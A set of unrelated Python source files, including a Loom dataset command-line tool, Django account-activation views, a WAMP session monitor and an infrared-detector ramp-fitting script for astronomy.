VerboseArgParser(argparse.ArgumentParser): def error(self, message: str) -> NoReturn: self.print_help() sys.stderr.write("\nerror: %s\n" % message) sys.exit(2) def tile_command( datasets: LoomDatasets, filenames: List[str], projects: List[str], all_files: bool, truncate: bool) -> None: # do not expand tiles more than once for any given filename matches = set() # type: Set[Tuple[str, str, str]] filenamesNone = filenames is None projectsNone = projects is None logging.warn(""" %s %s """ % (filenamesNone, projectsNone)) if all_files: matches = datasets.list.all_files() else: if filenames is not None: for filename in filenames: matches |= datasets.list.matching_filenames(filename) if projects is not None: for project in projects: matches |= datasets.list.files_in_project(project) if not matches: logging.warn(""" Must explicitly state what to tile! See also: loom tile --help To generate tiles for every loom file in the default dataset folder, type: loom tile --all To use a different dataset path, use `--dataset-path DATASET_PATH`. Note that this must be put before the tile command: loom --dataset-path DATASET_PATH tile [input for tile command] To generate tiles for any loom file in the default dataset folder that matches the names of FILE1, FILE2, etc, type: loom tile FILE1 FILE2 To replace old tiles with new ones, add the -t or --truncate flag loom tile FILE -t To generate tiles only for one specific file, even if there are multiple files with the same name, use the absolute path: loom tile /path/to/FILE1 FILE2 To tile all files in one or more project folders, type: loom tile --project PROJECT1 PROJECT2 Combining file and project paths is possible: loom /path/to/FILE1 FILE2 --project PROJECT Putting it all together: the following points to a non-default dataset path, and generates tiles for one specific FILE, as well as all files in PROJECT, while discarding any previously generated tiles: loom --dataset-path DATASET_PATH tile /path/to/FILE --project PROJECT -t """) else: for project, filename, file_path in matches: logging.info("Tiling {file_path}") datasets.tile(project, file_path, truncate) def expand_command( datasets: LoomDatasets, filenames: List[str], projects: List[str], all_files: bool, clear: bool, metadata: bool, attributes: bool, rows: bool, cols: bool, truncate: bool) -> None: if not (clear or metadata or attributes or rows or cols): logging.warn(""" `loom expand` pre-generates cache for the loom-viewer, for faster serving. This is a slow process, so that the command requires that you explicitly state which cache to generate ("expand"), and for which loom file(s). See also: loom expand --help Currently, the following separate types of cache can be expanded with these flags: -m, --metadata general metadata -a, --attributes row and column attributes -r, --rows rows (genes) -c, --cols columns (cells, currently not used) In the following examples, we will expand metadata, attributes and all rows all at once via -mar. To expand all loom files matching the name FILE1, FILE2, etc in the default loom datasets folder, type: loom expand FILE1 FILE2 -mar To expand a specific file, even if there are multiple files with the same name, use the absolute path: loom tile /path/to/FILE1 FILE2 To use a different dataset path, use `--dataset-path DATASET_PATH`. Note that this must be put before the tile command: loom --dataset-path DATASET_PATH expand FILE -mar To apply expansion to all loom files, use --all or -A: loom expand -marA To apply expansion to all loom files in one or more project folders, type: loom expand --project PROJECT1 PROJECT2 -mar By default, previously expanded metadata is left alone. To force replacing this expanded data, use --truncate or -t: loom expand FILE -marT To remove ALL previously generated cache (except tiles), use --clear or -C loom expand FILE -C Putting it all together: the following points to a non-default dataset path, finds one specific FILE, as well as all files in PROJECT. For these files, any existing expanded metadata is first deleted, then new general metadata and attributes are expanded (but not rows) while discarding any previously generated tiles: loom --dataset-path DATASET_PATH expand /path/to/FILE --project PROJECT -maC """) return matches = set() # type: Set[Tuple[str, str, str]] if all_files: matches = datasets.list.all_files() else: for filename in filenames: matches |= datasets.list.matching_filenames(filename) for project in projects: matches |= datasets.list.files_in_project(project) for project, filename, file_path in matches: try: expand = LoomExpand(project, filename, file_path) if not expand.closed: if clear: expand.clear_metadata() expand.clear_attributes() expand.clear_rows() expand.clear_columns() if metadata: expand.metadata(truncate) if attributes: expand.attributes(truncate) if rows: expand.rows(truncate) if cols: expand.columns(truncate) expand.close() except Exception as e: expand.close() raise e def parse_args(def_dir: str) -> Any: parser = VerboseArgParser(description="Loom command-line tool.") parser.add_argument( "--debug", action="store_true", help="Show verbose debug output (False by default)" ) parser.add_argument( "--dataset-path", help="Path to datasets directory (default: %s)" % def_dir, nargs='?', const=def_dir, default=def_dir ) subparsers = parser.add_subparsers(title="subcommands", dest="command") # loom version version_parser = subparsers.add_parser("version", help="Print version") # loom server server_parser = subparsers.add_parser( "server", help="Launch loom server (default command)" ) server_parser.add_argument( "--show-browser", help="Automatically launch browser (False by default)", action="store_true" ) server_parser.add_argument( "-p", "--port", help="Port", type=int, nargs='?', const=8003, default=8003 ) # loom tile tile_parser = subparsers.add_parser("tile", help="Precompute heatmap tiles") tile_parser.add_argument( "file", help="""Loom file(s) to expand. Expands all files matching the provided file names. To avoid this, use an absolute path to specify a single file. """, nargs='*', ) tile_parser.add_argument( "--project", help="Project(s) for which to expand all files.", nargs='*', ) tile_parser.add_argument( "-A", "--all", help="Expand all loom files.", action="store_true" ) tile_parser.add_argument( "-t", "--truncate", help="Remove previously expanded tiles if present (false by default)", action="store_true" ) # loom expand expand_help = "Expands data to compressed json files. Processes all matching loom filenames in dataset_path, unless absolute path is passed" expand_parser = subparsers.add_parser( "expand", help=expand_help ) expand_parser.add_argument( "file", help="""Loom file(s) to expand. Expands all files matching the provided file names. To avoid this, use an absolute path to specify a single file. When combined with --clear it clears all expanded files instead. """, nargs='*', ) expand_parser.add_argument( "--project", help="Project(s) for which to expand all files (or clear expansion with --clear).", nargs='*', ) expand_parser.add_argument( "-A", "--all", help="Expand all loom files (or clear expansion with --clear).", action="store_true" ) expand_parser.add_argument( "-C", "--clear", help="Remove previously expanded files.", action="store_true" ) expand_parser.add_argument( "-t", "--truncate", help="Replace previously expanded files if present (false by default). Only does something in combination with expansion (-m, -a, -r or -c).", action="store_true" ) expand_parser.add_argument( "-m", "--metadata", help="Expand metadata (false by default)", action="store_true" ) expand_parser.add_argument( "-a", "--attributes", help="Expand attributes (false by default)", action="store_true" ) expand_parser.add_argument( "-r", "--rows", help="Expand rows (false by default)", action="store_true" ) expand_parser.add_argument( "-c", "--cols", help="Expand columns (false by default)", action="store_true" ) return parser.parse_args() def main() -> None: def_dir = def_dataset_dir() # Create a fake args object with default settings # to handle the special case of no arguments. if len(sys.argv) == 1: args = argparse.Namespace() setattr(args, "debug", False) setattr(args, "dataset_path", def_dir) # handled below # setattr(args, "port", 8003) # setattr(args, "command", "server") # setattr(args, "show_browser", True) else: args = parse_args(def_dir) if args.debug: logging.basicConfig( level=logging.DEBUG, format="%(asctime)s - %(levelname)s - %(module)s, %(lineno)d - %(message)s") else: logging.basicConfig(level=logging.INFO, format="%(asctime)s - %(message)s") # If only --debug or --dataset-path is passed, # we still want to default to the server command if 'command' not in args: setattr(args, "command", "server") if 'port' not in args: setattr(args, "port", 8003) if 'show_browser' not in args: setattr(args, "show_browser", True) if args.debug: logging.basicConfig(level=logging.DEBUG, format='%(asctime)s %(levelname)s - %(module)s, %(lineno)d: %(message)s') else: logging.basicConfig(level=logging.INFO, format='%(asctime)s: %(message)s') if args.command == "version": print("loom v%s" % __version__) sys.exit(0) else: if args.command == "tile": logging.warn("test") datasets = LoomDatasets(args.dataset_path) tile_command(datasets, args.file, args.project, args.all, args.truncate) elif args.command == "expand": datasets = LoomDatasets(args.dataset_path) expand_command(datasets, args.file, args.project, args.all, args.clear, args.metadata, args.attributes, args.rows, args.cols, args.truncate) else: # args.command == "server": start_server(args.dataset_path, args.show_browser, args.port, args.debug) if __name__ == "__main__": main()
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import logging import tcp_log_socket logging_socket = tcp_log_socket.local_logging_socket(__name__) logger = logging_socket.logger #Test method simulating a method with required arguments; division is used to test exception handling def test_args(div1, div2): logger.info("Simulating a method with arguments and exceptions.") quotient = div1 / div2 logger.info("Quotient is: {}".format(quotient)) return quotient #Test method simulating a method with no required arguments def test_no_args(): result = True logger.info("Simulating methods without arguments.") logger.info("Expected result: {}.".format(result)) return result #Test method simulating an argument with keyworded and optional arguments def test_keyword(def_num=10, **kwargs): logger.info("Simulating methods with optional and keyworded arguments.") allowed_key = "key" value = False list_keys = list(kwargs.keys()) logger.info("Default argument is {}.".format(def_num)) for kw in list_keys: if kw == allowed_key: logger.info("Keyword found.") value = kwargs.pop(kw) logger.info("Keyword and value are {0} : {1}.".format(kw, value)) return (def_num, value)
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from django.shortcuts import render, redirect from django.contrib import messages from django.contrib.auth.decorators import login_required from .forms import UserRegisterForm, UserUpdateForm, ProfileUpdateForm ##################################################################### from django.http import HttpResponse from django.contrib.auth import login, authenticate from .forms import UserRegisterForm from django.contrib.sites.shortcuts import get_current_site from django.utils.encoding import force_bytes, force_text from django.utils.http import urlsafe_base64_encode, urlsafe_base64_decode from django.template.loader import render_to_string from .tokens import account_activation_token from django.contrib.auth.models import User from django.core.mail import EmailMessage def register(request): if request.method == 'POST': form = UserRegisterForm(request.POST) if form.is_valid(): user = form.save(commit=False) user.is_active = False user.save() current_site = get_current_site(request) mail_subject = 'Activate your account.' message = render_to_string('acc_active_email.html',{ 'user':user, 'domain': current_site.domain, 'uid':urlsafe_base64_encode(force_bytes(user.pk)), 'token':account_activation_token.make_token(user), }) to_email = form.cleaned_data.get('email') email = EmailMessage( mail_subject, message, to=[to_email] ) email.send() return render(request, 'users/activation_info.html') else: form = UserRegisterForm() return render(request, 'users/register.html', {'form': form}) @login_required def profile(request): if request.method == 'POST': u_form = UserUpdateForm(request.POST, instance=request.user) p_form = ProfileUpdateForm(request.POST, request.FILES, instance=request.user.profile) if u_form.is_valid() and p_form.is_valid(): u_form.save() p_form.save() messages.success(request, f'Your account has been updated!') return redirect('profile') else: u_form = UserUpdateForm(instance=request.user) p_form = ProfileUpdateForm(instance=request.user.profile) context = { 'u_form': u_form, 'p_form': p_form, } return render(request, 'users/profile.html', context) def activate(request, uidb64, token): try: uid = urlsafe_base64_decode(uidb64).decode() user = User.objects.get(pk=uid) except(TypeError, ValueError, OverflowError, User.DoesNotExist): user = None if user is not None and account_activation_token.check_token(user, token): user.is_active = True user.save() login(request, user) # return redirect('home') return render(request,'analyzer/home.html',{'message1':'Succesfull'}) else: return render(request,'users/email_confirm_complete.html',{'message1':'Failed'})
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import os import unittest from vext.install import DEFAULT_PTH_CONTENT class TestVextPTH(unittest.TestCase): # Preliminary test, that verifies that def test_can_exec_pth_content(self): # Stub test, verify lines starting with 'import' in the pth can # be exec'd and doesn't raise any exceptions. # TODO, mock file.write and get content directly from create_pth # instead of getting it directly from DEFAULT_PTH_CONTENT lines = DEFAULT_PTH_CONTENT.splitlines() for line in lines: if line.startswith("import ") or line.startswith("import\t"): exec(line) if __name__ == "__main__": unittest.main()
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import argparse from pprint import pformat import txaio txaio.use_twisted() from autobahn.twisted.wamp import ApplicationSession, ApplicationRunner class ClientSession(ApplicationSession): async def onJoin(self, details): print('MONITOR session joined: {}'.format(details)) xbr_config = self.config.extra['xbr'] # {'market-url': '', 'market-realm': '', 'delegate-key': '../.xbr.key'} print(xbr_config) def on_session_join(session_details): self.log.info('>>>>>> MONITOR : session joined\n{session_details}\n', session_details=pformat(session_details)) await self.subscribe(on_session_join, 'wamp.session.on_join') def on_session_stats(session_details, stats): self.log.info('>>>>>> MONITOR : session stats\n{session_details}\n{stats}\n', session_details=pformat(session_details), stats=pformat(stats)) await self.subscribe(on_session_stats, 'wamp.session.on_stats') def on_session_leave(session_id): self.log.info('>>>>>> MONITOR : session {session_id} left', session_id=session_id) await self.subscribe(on_session_leave, 'wamp.session.on_leave') if __name__ == '__main__': parser = argparse.ArgumentParser() parser.add_argument('-d', '--debug', action='store_true', help='Enable debug output.') parser.add_argument('--url', dest='url', type=str, default="ws://localhost:8080/ws", help='The router URL (default: "ws://localhost:8080/ws").') parser.add_argument('--realm', dest='realm', type=str, default="realm1", help='The realm to join (default: "realm1").') args = parser.parse_args() if args.debug: txaio.start_logging(level='debug') else: txaio.start_logging(level='info') runner = ApplicationRunner(url=args.url, realm=args.realm) runner.run(ClientSession, auto_reconnect=True)
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#!/usr/bin/env python2.7 # Version date : Aug 21, 2018 # # --> very minor correction compared to previous version. As keywords may change in files through time, when we delete # a keyword, we first check if the keyword is preseent rather than "blindly" deleting it # --> also corrected integer vs float divisions in refpixcor. This ensures python3 compatibility # # Version date : May 29, 2018 # # --> The first frame is used as a "bias" for all subsequent readouts # Subsequent frames are corrected for reference pixels # This significantly improves the quality of the error measurement # --> The top/bottom reference pixels are always corrected in odd/even manner, not as a constant offset for odd/even columns # --> We now perform the non-linearity measurement # --> All the "print" statement have been made consistent with the python3 # --> Add the "selfbias" keyword. This option uses the 1st readout as a bias estimate. This allows ref pixel correction per frame # # Version date : Mar 23, 2018 # # --> corrects an error in the ref pixels # --> Nothing changed to the input syntax compared to previous versions # # - accepts both H2RG and H4RG data. The size of the images is determined # from the calibration files given in input, avoiding hardcoding the size # of the input images. I removed all references to dim1 and dim2 (x and y size of # images) as we will always have square images. This is now simply imdim. Imdim can # only be equal to 2048 or 4096. If not, then something is really wrong and the code exits # with a message. # # - uses pixels on the side of the array and not only top/bottom ones # filters 1/f noise with side pixels. Important for the H4RG data # # - ramp algorithm significantly faster as we took some variable handling out the big loop. Does not # change the output values in the end. sx and sx2 are now determined only at the end of the # loop on image by using the timestamp vector combined with the n variable. Saves ~0.5s per readout # # - medians are now handling nans properly; avoids problems in rare cases when a nan appears in the # ref pixel region. nanmedian exists in python3 but not python2, so I defined the function # here. When we'll switch to p3, we can simply delete this function and we won't # need to modify the code itself. We'll juste need : import numpy.nanmedian as nanmedian # # - if the bias frame is set entirely to zero (mostly for debugging purpose), then we avoid # subtracting zeros to the entire image and save ~0.1s per image. # # - ref pixel filtering is defined as a function. This was done at two places in the # code. # # - the reference pixel function is much faster thanks to some more clever handling # of variables. # # - the flux in the "mask" region used now uses np.nanmean instead of mean. This avoids # having a NaN flux measurement in the posemeter. It also avoids problems when writing # the posemeter values in the header as one cannot have a NaN as a keyword value. # # - we now have an ascii output per iteration that tell you how long each frame took to # process and how long is left before the end of the big loop. On our machine, the # average for an H2RG image with the "-noerror" keyword (faster) is slightly less than # 1 s per image. # # # Now includes the following options : # # -n=XXX -> Will only perform the ramp fitting on the first XXX readouts of the array # This can be used to simulate a shorter sequence. This could be useful to get the # dark that exactly matches the integration time of a given science sequence. Say you # have a dark of 100 frames but a science sequence of 20 frames, you may want to only use # the first 20 frames of the dark to get exactly the same statistical properties as in your # science sequence. # -cube -> set this to get an output cube with all readouts. Use only if you want to examine the readouts. # -linearize -> corrects for non-linearity. Do not use this keyword to speed things up. We don't have the liearity coefficients in hand anyway # -noerror -> do not compute the error on slope. This seeds-up the code as we need to read the images only once. # -noref -> Skip all reference pixel corrections entirely # -selfbias -> subtract the 1st readout from all subsequent readouts to allow ref pixel correction per frame # -*- coding: utf-8 -*- from scipy import stats import numpy as np from array import * import glob import os # import pyfits --> rendered obsolete by the use of the more recent astropy.io.fits import time import sys import scipy.ndimage.filters from astropy.io import fits as pyfits from scipy.stats.stats import pearsonr def nanmedian(data): # this function returns the median of finite values within # a vector. This is for python2 only and we will replace by # the python3 version np.nanmedian that does exactly the same # thing. When swithing to python3, we will simply add : # # import np.nanmedian as nanmedian # # and it should be completely transparent for the rest of the code. # data2=np.asarray(data) g=np.isfinite(data2) if np.max(g)==False: return(np.nan) return(np.median(data2[g])) def refpixcorr(im,oddeven=False): # function that corrects with reference pixels on the sides of the H2RG and H4RG. # # On the periphery of the arrays, there are 4 pixels that are not light-sensitive # and that track drifts in the amplifiers. These are reference pixels and they can # reduce the effective readout noise by a factor of at least 2 if properly used. # # The top and bottom pixels of each output (one of 32 vertical "ribbons") see the # start and end of each readout. To filter noise on a readout timescale, we measure # the median of the top and bottom reference pixels. We then define a "slope" # (matrix y_frac) that forces interpolates the gradient through the light-sensitive # pixels. # # For some arrays (e.g., the H2RG used for the AT4), the odd and even pixels within # each amplifier differ in behaviour. We therefore measure and correct this "slope" # independently for odd and even pixels. This is done by setting oddeven=True in the # function call. The default is oddeven=False # # The side (x=0-3 and x=N-3:N) of the HxRG arrays see the "faster" 1/f noise that # affects all amplifier. We therefore need to subtract the mean of the side reference # pixels to remove (most of) the 1/f noise. As the reference pixels are themselves # noisy, we apply a median filter to these pixels before subtracting. # The size of this running median filter is set with the "medfilterwidth" # variable. # imdim=(np.shape(im))[0] # x position of the side deference pixels ref_sides = [0, 1, 2, 3,imdim - 4, imdim - 3, imdim - 2, imdim - 1] # filtering with ref pixels on either side of image medfilterwidth = 15 # value used for JWST H2RGs. Could be modified ref=np.zeros(imdim) # contains the median-filter, mean value of the vertical ref pixels for xpix in ref_sides: ref+=scipy.ndimage.filters.median_filter(im[:,xpix], medfilterwidth)/np.size(ref_sides) # pad the ref pixel value into a imdim x imdim square and subtract from image im-=np.repeat(ref,imdim).reshape(imdim,imdim) # correct an error, used to be "tile" instead of "repeat", which pads in the wrong direction # we filter independently the odd and even pixels in the bottom and top reference regions odd_bottom=np.zeros([imdim,imdim//32],dtype=float) # contains a range from 0 to 1 on odd pixels, 1 at bottom, 0 at top even_bottom=np.zeros([imdim,imdim//32],dtype=float) odd_top=np.zeros([imdim,imdim//32],dtype=float) even_top=np.zeros([imdim,imdim//32],dtype=float) g_odd_bottom=np.zeros([imdim,imdim//32],dtype=bool) # contains a range from 0 to 1 on odd pixels, 1 at bottom, 0 at top g_even_bottom=np.zeros([imdim,imdim//32],dtype=bool) g_odd_top=np.zeros([imdim,imdim//32],dtype=bool) g_even_top=np.zeros([imdim,imdim//32],dtype=bool) frac=np.asarray(range(imdim))/(imdim-1.0) for j in range(imdim//64): odd_bottom[:,j*2+1]=1-frac even_bottom[:,j*2]=1-frac odd_top[:,j*2+1]=frac even_top[:,j*2]=frac g_odd_bottom[0:4,j*2+1]=True # contains a range from 0 to 1 on odd pixels, 1 at bottom, 0 at top g_even_bottom[0:4,j*2]=True g_odd_top[imdim-4:imdim,j*2+1]=True g_even_top[imdim-4:imdim,j*2]=True for j in range(32): # looping through the 32 outputs # subtract median value of ref unilluminated pixels ribbon = im[:,j*imdim//32:(j+1)*imdim//32] y_even_bottom = nanmedian( ribbon[g_even_bottom]) y_odd_bottom = nanmedian( ribbon[g_odd_bottom]) y_even_top = nanmedian( ribbon[g_even_top]) y_odd_top = nanmedian( ribbon[g_odd_top]) im[:,j*imdim//32:(j+1)*imdim//32]-=( y_even_bottom*even_bottom+y_odd_bottom*odd_bottom+y_odd_top*odd_top+y_even_top*even_top) return(im) def patch_shift(im,bias): # this bit of code index=np.asarray(range(4,60,2)) cut1 = 0.2 # max CC for shifts that are invalid cut2 = 0.9 # min CC for shifts that is valid ccs = np.zeros(3) print(np.shape(im)) i=0 for off in range(-1,2): ccs[i]= (pearsonr(im[0,index],bias[0,off+index]))[0] i+=1 message = 'Ambiguous Pearson correlation with bias... suspicious data!' if (ccs[2] >= cut2) and (ccs[1]<=cut1) and (ccs[0]<=cut1): message='We have a pixel shift problem... we correct it!' xpix2=np.asarray(range(2048)) xpix=np.asarray(range(2048)) x64=np.asarray(range(64)) for i in range(32): xpix[i*64:i*64+64]=(i*32)+((x64+(2*(i % 2)-1) ) % 64) im[:,xpix2]=im[:,xpix] if (ccs[1] >= cut2) and (ccs[2]<=cut1) and (ccs[0]<=cut1): message = 'all good, there is no mischievous pixel shift in your data!' print(message) return(im) # will be set to True if selfbias=True. If we use a file for bias (later update?) then this will also # change the dobias to True dobias = False arg=np.asarray(sys.argv) arg=arg[1:] # first argument is simply the name of the program and needs to be removed write_cube = sum(arg=='-cube') ==1. # if set, then we will write cube, if not, then we skip this step that may be long skip_error = sum(arg=='-noerror') ==1. # if set, we skip slope error skip_ref = sum(arg=='-noref') ==1. # if set, we skip reference pixel corrections linearize = sum(arg=='-linearize') ==1. # if set, we correct for non-linearity selfbias = sum(arg=='-selfbias') ==1. # if set, we correct ref pixels on a frame-to-frame basis nmax_set=False for argn in arg: if (argn)[0:3] == '-n=': nmax_set=True dim3=np.int( (argn)[3:] ) # here we remove arguments with a "-" keep=np.zeros(len(arg)) for i in range(len(arg)): keep[i] = (arg[i])[0] != '-' arg=arg[keep ==1] # keep only params not beginning with a "-" if len(arg)>=1: odometer = arg[0] # first argument after program and flags is the output name fic = arg[1:] if len(fic)>=1: h = pyfits.getheader(fic[0]) h2=h mef_flag=0 # file is a MEF flag cubefits_flag=0 # file is a CUBE flag if len(fic) ==1: naxis =h['naxis'] if naxis ==0: mef_flag=1# we have a flag to know that the input file is a MEF and that extensions need to be read from there if naxis==3: cubefits_flag=1#this is a cuube exists = np.zeros(len(fic),dtype=bool) for i in range(len(fic)): exists[i] = os.path.isfile(fic[i]) if np.sum(exists ==0) !=0: print('some files given as inputs do not exist') print('missing file(s) --') print('') missing=fic[exists !=1] for i in range(len(missing)): print(missing[i]) print('') print('... you way also have given some erroneous input, double check your inputs dude!') sys.exit() if len(sys.argv) <=2: print('***** !!! warning, something went wrong !!! *****') print('') print(' ----- you can provide a list of files as an input -----') print('') print('syntax : python fits2ramp.py outname directory/file*.fits -cube -noerror -linearize') print('') print('') print(' the argument after the "outname" must be the files to combine') print(' with the ramp-fitting algorithm. ex: 20170322140210/H2RG_R01_M01_N08*.fits ') print(' should also accept *.fits.gz files') print(' you need at least two files in the wildcard. You can also expliclty') print(' name the files you combine.') print(' The syntax would be :') print(' python fits2ramp.py outname file1.fits file2.fits ... fileN.fits') print('') print(' ----- you can also provide a single file that has a MEF format -----') print('') print('syntax : python fits2ramp.py outname mef_file*.fits -cube -noerror -linearize') print('') print(' if you provide an outname and a single fits file, then we know its a MEF') print('') print(' if you provide a -n=XXXX then only the first XXXX readouts within the MEF') print('') print(' will be used for slope fitting') print(' ---- some more options ----' ) print('') print(' -cube saves all slices in a cube. This is slower and takes disk space') print(' -noerror does not compute the slope error. This is faster.' ) print(' -linearize corrects for non-linearity. This is slower but more accurate.') print('') print(' If all goes well, the programs outputs 2 files: ') print(' outnameo.fits ') print(' ... ext=1, ramp frame' ) print(' ... ext=2, ramp intercept') print(' ... ext=3, ramp error' ) print(' ... ext=4, ramp # valid frames') print(' ... every where, NaN values trace saturated pixel') print(' outnamer.fits.gz') print(' ... cube with as many slices as there are files in the wildcard above') print(' ... outnamer.fits.gz contains the same info as the files' ) print(' ... this is only done if we pass the "-cube" argument') print('') sys.exit() ################################################################# ################################################################# # We need the size of the image. Should be 2048 or 4096 (H2RG/H4RG) imdim=(np.shape(pyfits.getdata(fic[0])))[1] if (imdim!=2048) and (imdim!=4096): print('') print('') print(' something is really wrong with the size of the input image') print(' the image '+fic[0]+' has a width of :',imdim,' pixel(s)') print(' and we should only have values of 2048 or 4096 pixels') print('') print('') sys.exit() # reading the relevant calibrations #mask = getdata(calibdir+'/mask.fits') # 0/1 mask defining the area of the science array used as pose-meter mask=np.zeros([imdim,imdim],dtype=float) # dummy ~~~>>> will need to be changed for the H4RG # this is the region used for the posemeter # For SPIRou, we will have a binary mask selecting the H-band orders (science and not ref channel) mask[1912:1938,572:777]=1 mask=np.where(mask ==1) # non-linearity cube with 4 slices. The linearized flux will be derived from the measured flux with the # following relation : # F_lin = a0 + a1*(F_mea - bias) + a2*(F_mea - bias)**2 + a3*(F_mea - bias)**3 # where aN is the Nth slice of the linearity cube # ... bias is the super-bias # ... F_lin is the linearised flux # ... F_mea is the measured flux #linearity = getdata(calibdir+'/non_lin.fits') # we will use files with non-linearity correction here # This is an operation that may be done if we do not have a bias in hand and want to # correct non-linearity. Lets consider this under development and set it to False for now # linearity_saturation = pyfits.getdata('nonlin.fits') # Slice 1 - 2nd ordre term of non-linearity correction # Slice 2 - 3rd ordre term of non-linearity correction linearity = linearity_saturation[0:2,:,:] # Slice 3 - dynamical range for <20% non-linearity saturation = linearity_saturation[2,:,:] if mef_flag==0 and cubefits_flag==0: if nmax_set == False: dim3 = len(fic) else: if len(fic) < dim3: print('You requested a ramp of ',dim3,' readouts... ') print(' ... but you have only ',len(fic),' files') sys.exit() if mef_flag==1: hdulist = pyfits.open(fic[0],memmap=False) ## We will use memmap when CFHT gets rid of BZERO/BSCALE/BLANK header keywords dims=np.shape(hdulist[1]) if nmax_set == False: dim3= len(hdulist)-1 else: if (len(hdulist)-1) < dim3: print('You requested a ramp of ',dim3,' readouts... ') print(' ... but you have only ',len(hdulist)-1,' slices in your MEF') sys.exit() if cubefits_flag==1: if nmax_set == False: dim3 = h['naxis3'] else: if (h['naxis3']) < dim3: print('You requested a ramp of ',dim3,' readouts... ') print(' ... but you have only ',len(hdulist)-1,' slices in your cube') sys.exit() # delete all keywords from the reference file del_keywords=['DATLEVEL', 'ASICGAIN', 'NOMGAIN', 'AMPRESET', 'KTCREMOV', 'SRCCUR',\ 'AMPINPUT', 'V4V3V2V1', 'PDDECTOR', 'CLKOFF', 'NADCS', 'INTTIME',\ 'TSTATION', 'SEQNUM_N', 'SEQNUM_M', 'CLOCKING', 'NEXTRAP','NEXTRAL', 'SEQNNAME'] for key in del_keywords: if key in h: # as keywords may change from version to version, we check if the keyword we want to delete is present del h[key] del h['bias*'] timestamp=np.zeros(dim3,dtype=float) # loop to check image size and populate header with time stamps for i in range(dim3): if mef_flag==0 and cubefits_flag==0: # we have a mef file, info is in the ith extension h_tmp = pyfits.getheader(fic[i]) if 'frmtime' not in h_tmp: h_tmp['frmtime'] = 5.24288, 'assumed integration time (s)' if 'inttime' not in h_tmp: h_tmp['inttime'] = 5.24288*(i+1), 'assumed frame time (s)' timestamp[i]=h_tmp['inttime'] if cubefits_flag==1: # we have a cube, calculate from FRMTIME timestamp[i]= (i+1)*h['frmtime'] # sets zero time at the time of reset if mef_flag==1: # we read the ith extension h_tmp = hdulist[i+1].header timestamp[i]=h_tmp['inttime'] if mef_flag==0 and cubefits_flag==0: order = np.argsort(timestamp) # who knows, the files may not be in the right order! Lets sort them according to their timestamps fic=fic[order] timestamp=timestamp[order] for i in range(dim3): tag0 = str(i+1) if len(tag0) < 4: tag = '0'*(4-len(tag0))+tag0 tag = 'INTT'+tag h[tag] = (timestamp[i],'Timestamp, '+tag0+'/'+str(dim3)) if mef_flag==1: write_cube=False if write_cube: cube=np.zeros([dim3,dim2,dim1],dtype=float) print('loading all files in cube') for i in range(dim3): print(i+1,'/',len(fic),fic[i]) im=pyfits.getdata(fic[i]) cube[i,:,:] = im print('writing the cube file --> '+odometer+'r.fits ') t1 = time.time() hcube=h2 hcube['NAXIS'] = 3 hcube['NAXIS3'] = dim3 pyfits.writeto(odometer+'r.fits', cube,header=hcube) # This operation is somewhat long and could lead to back-log of files on a slow machine # ... for the code development, we time it. This may be remove at a later point. print('Duration of file writting : '+str(float(time.time()-t1))+' s') # zipping the .fits file. Normally this could be done within pyfits.writeto, but its much, much slower os.system('gzip -f '+odometer+'r.fits &') print('done writing the cube file --> '+odometer+'r.fits') print(' compressing file in background ... ') del cube # removing cube from memory to make things lighter... unclear in necessary else: print('we do not write the cube file for this ramp') # place htimestampolders for some arithmetics for the linear fit #sx = 0#np.zeros([dim2,dim1]) #sx2 = 0#np.zeros([dim2,dim1]) sy = np.zeros([imdim,imdim],dtype=float) n = np.zeros([imdim,imdim],dtype=np.int16) sxy = np.zeros([imdim,imdim],dtype=float) fmask = np.zeros(dim3,dtype=float) # mask for pixels that are valid goodmask = np.full((imdim,imdim),True,dtype=bool) # when a pixels goes above saturation, it remains invalid for the rest of the ramp if skip_error == False: savname=['']*dim3 print(mef_flag,cubefits_flag,linearize) t_start=time.time() for i in range(dim3): t0=time.time() print(i+1,'/',dim3,' ~~~> Computing slope') if mef_flag==0 and cubefits_flag==0: # this is a set with N files im = pyfits.getdata(fic[i]) if mef_flag==1: im=hdulist[i+1].data # reading the Nth extension if cubefits_flag==1: if i ==0: bigcube=pyfits.getdata(fic[0]) # that's dangerous as it may overfill memory im=bigcube[i,:,:] im = np.array(im,dtype='float') if selfbias and (i ==0): bias = np.array(im) print('setting 1st extension as a bias file') dobias=True goodmask = (im <= saturation)*goodmask if dobias: if selfbias: print('bias subtraction with 1st readout') else: print('bias subtraction with provided bias file') im-=bias if linearize: print('applying non-lin correction') # first we linearize the data by applying the non-linearity coefficients and bias correction for j in range(2): im += linearity[j,:,:]*(im)**(j+2) if selfbias and (skip_ref == False): print('as we applied self-bias, we correct ref pixels') im=refpixcorr(im) n+= goodmask fmask[i]=np.nanmean( im[mask]) # m*=goodmask # starting now, only the product of the two is needed. saves one multipltication # Actually, best not fill what used to be saturated elements in the array with # 0, which is what this did. Then, if the errslope calculation wants to check # im <= saturation as it used to do, it will come up with the wrong answer. # Since the first check for im <= saturation (about 20 lines above) does so # before linearity correction and this check would be after, they could also # come up with different answers though, unless the linearity function is # is guaranteed to apply a correction that keeps saturation values at the same # ADU. Since we already have n[], when the errslope calculation happens, it # uses that, now with a simple "goodmask = (n > i)" for each i on that pass. sy[goodmask]+= im[goodmask]#*goodmask sxy[goodmask]+=(im[goodmask]*timestamp[i]) # here we save the non-linearity corrected images as python npz files # we could just dump everything into a big cube to be used in the slope # error determination. We opt to write these files to disk to avoid overfilling # the memory. This should be safer for very large number of reads. # # We cannot simply re-read the fits files are the "im" variable saved in the npz has been corrected for # non-linearity, which is NOT the case for the .fits.gz. We save the NPZ only if the data is linearized # # We also corrected for the bias regions of the detector, so a temporary file is necessary if we want to properly compute slope error # and cannot afford to keep everything in memory. Keeping everything in memory may be fine for small datasets, but we want # to avoid having a code that crashes for long sequences or on machines with less memory! if skip_error == False: savname[i]='.tmp'+str(i)+'.npz' np.savez(savname[i],im=im) # this file is temporary and will be deleted after computing the slope error dt=(time.time()-t_start)/(i+1.0) print('dt[last image] ','{:5.2f}'.format(time.time()-t0),'s; dt[mean/image] ','{:5.2f}'.format(dt),'s; estimated time left '+'{:3.0f}'.format(np.floor((dim3-i)*dt/60))+'m'+'{:2.0f}'.format(np.floor((dim3-i)*dt % 60))+'s') # we now have these variables outside the loop. We keep n that contains the # number of valid reads, and directely interpolate the vector with the cumulative # sum of timestamp and timestamp**2. Previously, we added these values to the sx and sx2 # matrices for each frame. This operation is much, much faster and equivalent. sx=np.where(n>0,(np.cumsum(timestamp))[n-1],0) sx2=np.where(n>0,(np.cumsum(timestamp**2))[n-1],0) if mef_flag==1: hdulist.close() 